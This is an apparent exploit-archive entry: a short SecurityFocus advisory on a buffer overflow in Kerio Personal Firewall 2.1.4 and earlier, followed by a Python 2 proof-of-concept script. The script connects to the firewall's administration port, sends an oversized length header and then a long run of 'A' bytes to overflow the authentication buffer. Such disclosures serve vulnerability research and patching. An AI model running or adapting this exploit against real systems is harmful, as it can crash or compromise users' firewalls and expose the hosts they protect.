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source: http://www.securityfocus.com/bid/7180/info A buffer-overflow vulnerability has been discovered in Kerio Personal Firewall. The problem occurs during the administration authentication process. An attacker could exploit this vulnerability by forging a malicious packet containing an excessive data size. The application then reads this data into a static memory buffer without first performing sufficient bounds checking. Successful exploits of this vulnerability may allow an attacker to execute arbitrary commands on a target system, with the privileges of the firewall. Note that this vulnerability affects Kerio Personal Firewall 2.1.4 and earlier. import os import socket import struct import string def g(): fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: fd.connect(('192.168.66.160', 44334)) fd.recv(10) fd.recv(256) fd.send(struct.pack('!L', 0x149c)) astr = 'A'*0x149c fd.send(astr) except Exception, e: print e pass fd.close() g()